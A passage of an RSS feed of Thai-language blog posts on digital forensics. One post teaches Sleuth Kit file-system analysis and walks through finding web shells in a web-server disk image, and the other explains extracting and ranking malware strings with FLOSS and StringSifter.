Searching</strong></p><p>นอกจากนั้นเราสามารถหาไฟล์ ด้วยการใช้ชื่อไฟล์ในการค้นหาได้ โดยใช้ grep ตามคำสั่งนี้</p><pre>$ fls -r -f [file_type] -o [offset] image | grep word</pre><p>ตัวอย่างเช่น ทำการหาไฟล์ที่มีนามสกุลเป็น .php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AjR6SV7XCzCa1Jyv" /><figcaption>PHP file</figcaption></figure><p>หากต้องการข้อมูลเพิ่มเติมสามารถไปอ่านได้ใน <a href="http://wiki.sleuthkit.org/index.php?title=Fls#File_Name">fls</a></p><h4>Display / Recover file contents ( Meta Data Layer Tools ) — icat</h4><p><strong>Display file contents</strong></p><p>เราสามารถแสดงเนื้อหาของไฟล์ได้ โดยใช้คำสั่ง icat โดยมีัสองรูปแบบคือ</p><ol><li><strong>รูปแบบย่อ :</strong> ให้ทำการระบุ Metadata Address ของไฟล์</li></ol><pre>$ icat -f [file_type] -o [offset] image metadata_address</pre><p>ซึ่งการทำงานของคำสั่ง icat มันจะทำการเข้าไปอ่านเนื้อหาของไฟล์ โดยใช้ <strong>$DATA</strong> ( Attribute type 128 — File Content )</p><p><strong>2. รูปแบบเต็ม :</strong> ให้ทำการระบุ Metadata Address, Attribute type, Attribute id ของไฟล์<strong> </strong>ตามคำสั่งด้านล่าง</p><pre>$ icat -f [file_type] -o [offset] image metadata_address-attribute_type-attribute_id</pre><h4>File Recovery ( กู้ไฟล์ ) / Export file</h4><p>เราสามารถใช้ icat ทำการ export file หรือกู้ไฟล์ที่ถูกลบ เพียงแค่ใช้เครื่องหมาย <strong>&gt;</strong> ในการเขียนออกมาเป็นไฟล์<strong> </strong>ตามคำสั่งด้านล่าง</p><pre>$ icat -f [file_type] -o [offset] image metadata_address &gt; filename</pre><h4>Create file system timeline — fls, mactime</h4><p>หากเราทำเคสที่เกี่ยวกับการโจมตีในบางครั้ง เราอาจจะต้องการหาว่า ในช่วงเวลาที่ Attacker เข้ามาวางไฟล์นั้น มีไฟล์อื่นๆเพิ่มเติม ที่ Attacker ได้มีการวางอีกหรือไม่ ซึ่งสิ่งที่จะมาตอบได้ก็คือ File system timeline โดยการทำ File system timeline มีขั้นตอนดังนี้</p><ol><li>ใช้ fls ในการ List ข้อมูลทั้งหมดออกมา ( recursive ) แบบ time machine format โดยใช้คำสั่ง</li></ol><pre>$ fls -f [file_type] -o [offset] -r -m mnt image &gt; image.body</pre><p>options -m สามารถใส่ได้ mount point ได้เพื่อให้ง่ายตอนดู Timeline ( เช่น C:, /usr หรืออื่นๆ )</p><p>2. ใช้ mactime ในการสร้าง timeline</p><pre>$ mactime -b body -d &gt; fs_timeline.csv</pre><h4>File Carving on Unallocated space / Slack space ( Data Unit Layer Tools ) — blkls, foremost</h4><p>การทำ File carving คือการนำ Header/footer ( hex ) ของไฟล์แต่ละชนิด ไปทำการค้นหาและทำการกู้คืนไฟล์กลับมา</p><p>ดูรายละเอียดเกี่ยวกับ Header/footer ของแต่ละแบบได้ที่ <a href="https://www.garykessler.net/library/file_sigs.html">File signatures</a></p><ol><li>เริ่มจากการนำข้อมูลที่อยู่บน Unallocated space ออกมาก่อน โดยใช้ blkls</li></ol><pre>$ blkls image &gt; image.unallocated</pre><p>2. นำข้อมูลบน Slack space ออกมา โดยใช้ -s</p><pre>$ blkls -s image &gt; image.slack</pre><p>3. จากนั้นใช้ foremost ในการทำ File carving บน Unallocated space, Slack space</p><pre>$ foremost -i input -o output_dir</pre><p>สามารถใช้ options -t เพื่อระบุถึงประเภทของไฟล์ที่ต้องการ carving ได้เช่น jpg,png,exe</p><h4>Strings searching on Slack space</h4><p>ในบางครั้งเราอาจต้องการค้นหาข้อมูลโดยการใช้ Keyword ( Strings ) ในการ search บน Slack space สามารถทำได้โดยมีขั้นตอนดังนี้</p><ol><li>นำข้อมูลบน Slack space ออกมา โดยใช้ blkls</li></ol><pre>$ blkls -s image &gt; image.slack</pre><p>2. จากนั้นจะต้องแปลงข้อมูลให้อยู่ในรูปแบบ Strings โดยใช้คำสั่งตามนี้</p><pre>$ strings -a -t d image.slack &gt; image.strings</pre><p>3. ใช้ grep ในการค้นหา Strings</p><pre>$ grep word image.strings</pre><p>ซึ่งเราสามารถ Search strings บน Space ในแบบอื่นๆ เพื่อหาว่า Strings นี้อยู่บนไฟล์ไหนได้ด้วย​ ซึ่งสามารถอ่านเพิ่มเติมได้ที่ <a href="https://wiki.sleuthkit.org/index.php?title=FS_Analysis">FS Analysis</a></p><h3>Part 3. Analyze disk image — <a href="https://www.ashemery.com/dfir.html">ashemery</a> ( Challenge #1 — Web Server Case )</h3><p>หลังจากที่รู้พื้นฐานต่างๆแล้ว เรามาลองลงมือทำ File system forensics บน Image <a href="https://www.ashemery.com/dfir.html"><strong>ashemery</strong></a> <strong>( Challenge #1 — Web Server Case )</strong></p><p>โดย Image ดังกล่าวเกี่ยวกับการโจมตีทาง Web service ดังนั้นจะยกตัวอย่างด้วยการไปดู log ของ Web-service กัน</p><p>เริ่มแรกให้ใช้ mmls เพื่อแสดง Partition ทั้งหมด โดยจะเห็นได้ว่า Partition ที่เราต้องการ Analyze เป็น NTFS ซึ่งอยู่ที่ Offset 2048</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KTVzOIvtyohqxmP7" /><figcaption>Partition</figcaption></figure><p>จากนั้นลองใช้ fls เพื่อแสดงไฟล์ใน Partition ดังกล่าวดู โดยการระบุประเภทของ Partition และ Offset จะเห็นว่า xampp นั้นมีค่า Metadata address เป็น 42729 ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qGo_PCcRg1f1trg2" /><figcaption>List of file/directory</figcaption></figure><p>จากนั้นให้ List file/Directory ใน xampp โดยการใช้ Metadata address เป็น 42729 บนคำสั่ง fls ก็จะเห็นว่า apache นั้นมีค่า Metadata address เป็น 42739 ตามภาพด้านล่าง จากนั้นให้ทำไปเรื่อยๆจนเข้าถึง logs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JN_ICd_ssUy1iNob" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zPvhSHXfdNp46wtX" /></figure><p>จะเห็นได้ว่ามีไฟล์ที่อยู่บน logs ทั้งหมด 5 ไฟล์ ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nZOYMouDngTayhUt" /></figure><p>ซึ่งไฟล์ที่เราต้องการก็คือ access.log, error.log ซึ่งเราสามารถอ่านเนื้อหาของไฟล์ได้โดยการใช้ icat ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6upBGZm915cFFMXS" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VtKvkiTN7NkjMTfp" /></figure><p>หรือหากต้องการเขียนออกมาเป็นไฟล์ ก็สามารถทำได้ โดยการใช้เครื่องหมาย &gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yWkmOqc4zBpKtPyV" /></figure><p>ลองค้นหาไฟล์ php แปลกๆที่ถูกเรียกดู โดยหาจาก access.log</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nBLq4VBGY_MfNyBE" /></figure><p>ก็จะพบว่ามีไฟล์ชื่อแปลกๆ เช่น phpshell.php, phpshell2.php, c99.php,tmpukudk.php, tmpudvfh.php ซึ่งลองไปดูสักไฟล์ละกัน</p><p>โดยก่อนอื่นที่เราจะไปดูเนื้อหาไฟล์ได้ เราจะต้องหา Metadata address ของไฟล์นั้นก่อน ซึ่งเราจะใช้ fls แบบ recursive ( -r ) เพื่อหาไฟล์จากชื่อกัน ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r2FNSoPHgZD8gxrM" /></figure><p>จากนั้นลองมาดูเนื้อหาของไฟล์โดยใช้ icat พบว่าไฟล์ดังกล่าวเป็น Web shell ที่วางไว้เพื่อทำ Persistence</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*92U1P3NWkPGxKDGK" /></figure><p>เมื่อเราทราบว่าไฟล์นี้เป็นไฟล์ที่เป็นของ Attacker เป็นผู้นำมาวางไว้ ดังนั้นผู้ที่เรียกไฟล์ดังกล่าว จะถือว่ามีความผิดปกติทั้งหมด ไม่ใช่การใช้งานของ User ทั่วไป ดังนั้นเราก็กลับไปดูว่าบน Access log ใครมาเรียก Web shell ดังกล่าวบ้าง ก็จะเห็นว่ามี IP : 192.168.56.102 เข้ามาเรียกไฟล์ Web shell ตามภาพด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mVDu5YJ4795_aDp7" /></figure><p>ดังนั้นลองดูต่อว่า IP ดังกล่าวได้เข้ามาทำอะไรกับระบบบ้างเพื่อทำ Timeline หา ROOT-CAUSE, Impact ของการโจมตี</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VmNyow_EAm54yhlC" /></figure><p>สำหรับบทความนี้ก็จะยกตัวอย่างเพียงคำสั่งเบื้องต้นในการใช้ Sleuthkit เท่านั้น หากต้องการทำเทคนิคอย่างอื่นเพิ่มเติมลองไปอ่านใน <a href="http://wiki.sleuthkit.org/index.php?title=TSK_Tool_Overview">TSK Tool</a> ครับ</p><h3>Reference</h3><p><a href="http://wiki.sleuthkit.org/index.php?title=TSK_Tool_Overview">TSK Tool Overview — SleuthKitWiki</a><br><a href="http://dftt.sourceforge.net/test7/index.html">NTFS Undelete Test #1</a><br><a href="http://www.c-jump.com/bcc/t256t/Week04NtfsReview/W01_0240_mft_attribute_types.htm">MFT Attribute types</a><br><a href="https://www.garykessler.net/library/file_sigs.html">File Signatures</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa8db2bf7084" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis — Static Analysis Part 5 : Reveals obfuscated strings and Automatically ranks…]]></title>
            <link>https://huntsman-dfir.medium.com/malware-analysis-static-analysis-part-5-reveals-obfuscated-strings-and-automatically-ranks-73825dc3775a?source=rss-a0f9fedd36d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/73825dc3775a</guid>
            <dc:creator><![CDATA[WIRAPONG PETSHAGUN]]></dc:creator>
            <pubDate>Thu, 28 May 2020 04:49:49 GMT</pubDate>
            <atom:updated>2020-05-28T04:49:49.900Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Analysis — Static Analysis Part 5 : Reveals obfuscated strings and Automatically ranks strings</h3><p>คุณเคยประสบปัญหาเหล่านี้ไหม</p><ul><li>ทำ Strings แล้วไม่รู้ว่าเราควรสนใจที่ Strings ตัวไหนดี</li><li>ทำ Strings แล้วไม่เวิร์ค เนื่องจาก Malware ถูกทำ Obfuscation มา</li></ul><p>ถ้าเคยประสบปัญหาเหล่านี้แล้วล่ะก็ เรามาทำความรู้จักกับ Floss และ StringSifter กัน</p><h3>Floss</h3><p>Floss เป็น Open-Source tools ที่พัฒนาโดย FireEye Labs โดยมีความสามารถในการ detects, extracts, decodes Strings ของไฟล์ประเภท Windows Portable Executable ที่อาจถูกทำการ Packing หรือถูกทำ Obfuscation มาโดยผู้ที่เขียน Malware เพื่อป้องกันการทำ Malware Analysis ให้เป็นไปได้ยากขึ้น</p><blockquote>หากอยากรู้รายละเอียดเพิ่มเติมในเชิงลึกเกี่ยวกับการทำงานของ Floss สามารถไปอ่านได้ที่ <a href="https://www.fireeye.com/blog/threat-research/2016/06/automatically-extracting-obfuscated-strings.html">Floss</a></blockquote><h3>การติดตั้ง Floss</h3><p>สามารถ Download แบบ Standalone มาใช้งานได้เลยจาก <a href="https://github.com/fireeye/flare-floss/releases">Github</a></p><blockquote>หากต้องการติดตั้งโดยวิธีอื่นสามารถอ่านเพิ่มเติมได้ที่ <a href="https://github.com/fireeye/flare-floss/blob/master/doc/installation.md">Installation Guide </a>​</blockquote><h3>การทำ Extract Obfuscate Strings ด้วย Floss</h3><p>เรียกใช้ Floss ตามคำสั่งด้านล่าง</p><pre>$ floss [filename]</pre><h3>StringSifter</h3><p>StringSifter เป็น Tools ที่ใช้ Machine learning มาช่วยในการวิเคราะห์และจัดอันดับ Strings ที่มีความเกี่ยวข้องในการทำ Malware Analysis</p><blockquote>รายละเอียดเชิงลึกไปอ่านได้ที่ <a href="https://www.fireeye.com/blog/threat-research/2019/05/learning-to-rank-strings-output-for-speedier-malware-analysis.html">FireEye</a>​</blockquote><h3>การติดตั้ง StringSifter</h3><p>ติดตั้งโดยใช้ pip ( ต้องเป็น Python version 3.6 ขึ้นไปเท่านั้น ) ตามคำสั่งด้านล่าง</p><pre>$ pip install stringsifter</pre><p>หรือติดตั้งโดยใช้ git clone แล้ว install ด้วย pip</p><pre>$ git clone <a href="https://github.com/fireeye/stringsifter.git">https://github.com/fireeye/stringsifter.git</a></pre><pre>$ cd stringsifter</pre><pre>$ pip install -e .</pre><blockquote>หากติดตั้งด้วยวิธีนี้จะได้ flarestrings มาด้วย ซึ่งมีความสามารถคล้ายๆ Strings ที่อยู่ใน GNU binutils โดยจะสามารถทำ Extract wide characters พวก Unicode 16,32 bit ได้</blockquote><h3>การทำ Strings และจัดอันดับ Strings ด้วย StringSifter</h3><p>การใช้งานทั่วไปก็เพียงแค่ใช้คำสั่งตามนี้</p><pre>$ flarestrings [filename] -n [min-length] | rank_strings -s</pre><blockquote><strong>flarestrings : </strong>-n [min-length] กำหนดว่าให้แสดง Strings ที่ประกอบไปด้วย Character ขั้นต่ำกี่ตัว ( default 4 )<br><strong>rank_strings : </strong>-s ใช้สำหรับแสดง Score ของ Strings ที่จัดอันดับ</blockquote><h3>การใช้ Floss และ StringSifter ร่วมกัน</h3><p>เอาละตอนนี้เรามาใช้ Floss และ StringSifter เพื่อทำการ Deobfuscate strings จัดอันดับ Strings ที่เกี่ยวข้องกับ Malware Analysis แล้ว ด้วยคำสั่งตามนี้</p><pre>$ floss [filename] -q | rank_strings -s</pre><blockquote><strong>floss : </strong>-q ใช้เพื่อ Run แบบ Quiet Mode เพื่อไม่ให้มี Header ของ floss ไปแสดงในการจัดอันดับ Strings</blockquote><p>โดยผลลัพธ์จะเรียงจาก Score ของ Strings ที่น่าสนใจ จากมากไปน้อยตามตัวอย่างด้านล่าง</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*diOWbRldvlJc2iWb" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73825dc3775a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>